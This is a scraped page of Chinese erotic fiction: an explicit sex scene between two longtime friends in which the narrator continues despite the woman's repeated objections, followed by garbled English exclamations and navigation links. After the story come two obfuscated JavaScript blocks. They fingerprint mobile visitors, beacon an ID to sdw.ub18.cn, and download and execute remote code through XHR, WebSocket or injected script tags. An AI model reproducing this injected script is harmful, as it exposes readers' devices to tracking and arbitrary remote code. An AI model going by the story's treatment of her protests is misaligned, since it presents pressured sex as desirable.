“等等,雷扬,你答应过我,你要做一个陪伴我一辈子的朋友,你不能自毁诺言……”路小希还在和自己的理智挣扎。

“Juststaystill”我扑了上去,如同一头野兽,用身躯将路小希压倒,

将她的双腿压开,然后敏捷的脱去上衣,饥渴难耐的望着身下不停蠕动的路小希的身躯。她的眼睛是如此迷人,一双媚眼半朦胧,眼角微微上翘却没有多余的涟漪,妩媚而不狐媚,勾魂而不勾人。忽而明白,为什么这么多年我都觉得身边的男人傻,其实是我从来没有从这个角度去看过这个女人,真的是,我见过,最美丽的人儿,没有之一。

“啊啊啊!!”她的声音更加婉转了,银牙稍稍咬住下嘴唇,却无法抑制这声音。芊芊玉手死死地握住我的手臂,没有技巧,却很有力,但是身体的快感太强烈了,不是她的力量可以控制的。

进入了,爽滑、细腻、温润,我并没有像其他人那样得意,而是静下心来去感觉这美丽胴体的柔美之极限。品味着身体感触到的每一丝刺激,哪怕就是唿吸之间的窜动我也不想错过。这一刻实在太美妙了,我和她相处了这么多年,却不知其中奥妙如此令人销魂,简直是流连忘返,这一晚的贪念,我又怎么舍得让它悄悄熘走呢?

“好大……而且,好、好硬……”我被路小希颤抖的话语打断,看着她花枝乱颤的脸庞,仰着脖颈望着我。

我没有表情和话语,用深深的插入来回答了她。我们终于结合了,我们的内心触碰到了一起,我感觉就好像第一次认识你一样。

可是路小希却空洞的望着彼方,不敢看我。她的内心比身体起伏更大,她的灵魂在低吟:"我不应该和雷扬这样做,我以后又该怎样面对他?我反对,我反对,现在我们做的都是错的。可是,我却无法阻止他停下来,他走进了我内心的深处……也许,不是他,我会更快乐,更享受"

“小希。”我以为是我过于猛烈,让她有些难受,赶紧放慢了节奏。果然,她的表情舒缓了许多,似乎被我引领上快乐的道路,表现了变得越来越令我感到自豪和愉悦。

“嗯嗯……”太可爱了,我忍不住俯下身子去亲吻她的嘴唇。

“你做什么,不能亲我!”我的嘴唇碰到她嘴唇片刻,衹是一愣,当我用舌头去撬开她的双唇时,她忽然惊觉,甩开俏脸,不敢看我。

“切!”她的拒绝让我不爽。我从路小希柔软的腰际开始向上抚摸,不放过每一寸肌肤,尽管,我以前小时候见过她的身子,可却不如现在这般让我迫不及待想要看到。

“哦哦……手感太棒了……”我已经握住了她的酥乳,轻轻摇晃。

“不能玩弄我!”路小希松开握住床单的手,转而限制住我的手腕,一副不想被欺负的样子,煞是可爱。

“唔唔唔……”她的乳头好硬,很圆润也很饱满,却感觉不出有过多的突出。轻轻一吸,总是会带动乳肉来回波动,晃得两个乳房左右碰撞,特别有趣。换手掌一模,一捏,路小希便又开始呻吟了,真是懂得享受的女孩。

这回,她的手没有扇我耳光来或是揪头发来阻止我,反而一顿一顿的摸住我的前额,轻轻往后顺,这就是爱抚。而同时,她的另一衹手悄悄的握住了另一衹调皮的小白兔,或者应该说是轻轻覆盖在上面,食指和中指变成一个小夹子,随着我的起伏,不断的变着花样刺激着她的小樱桃。

“还差一点,还……还深一点……”空气早就升腾成了蒸汽,我们的身体也早已沸腾,终于,路小希无意识的摇晃着,发出了令人诧异的声音。

“路小希,你在说什么?”我有点不敢相信,自己多年的好友居然在我面前说出这些。

“雷扬,深一点……人家,人家……要到了……你把人家……弄……高潮……了……”路小希一手死死握住自己一侧乳房,旋转着,扭曲着,一手捏成粉拳无力的拍打我的侧脸,似乎在责备我。

“啊!!”路小希的腰肢不间断的扭动,双腿死死夹住我的腰,可是我们发力毫无章法,我想要的时候她卸力了,我提起腰的时候,她又不知去了哪�,这种交合的滑腻怎么容许我们诸多失误。衹见巨根滑出女穴,顿时一阵凉意透顶。 “雷扬……”这次小希没有发大小姐脾气,衹是解开双腿,又翘起了肉臀,对着我,我自然是提枪就上……

“Do,doithard,doithard!!Deeper,deepe!!!Likeananimal!!!

Doitlikehim!!”

“Releaseit!!Thatwarmsemenreleaseitinme!!!!”

“Ifeellikeiamabouttocum!!Ithinklikeiamabouttocum

!!”

“RALEASE!!!!AH~~~~~~~~~~~H~~~~~~~~”


上一篇:Candy

下一篇:孤村艳遇


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};